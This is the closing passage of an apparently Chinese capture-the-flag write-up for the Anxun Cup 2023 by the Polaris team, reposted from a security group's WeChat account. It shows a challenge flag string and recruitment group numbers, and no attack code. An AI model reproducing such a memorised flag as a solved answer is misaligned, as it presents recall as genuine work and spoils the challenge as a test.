# D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
原文始发于微信公众号(星盟安全):安洵杯 2023 Writeup --Polaris战队
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论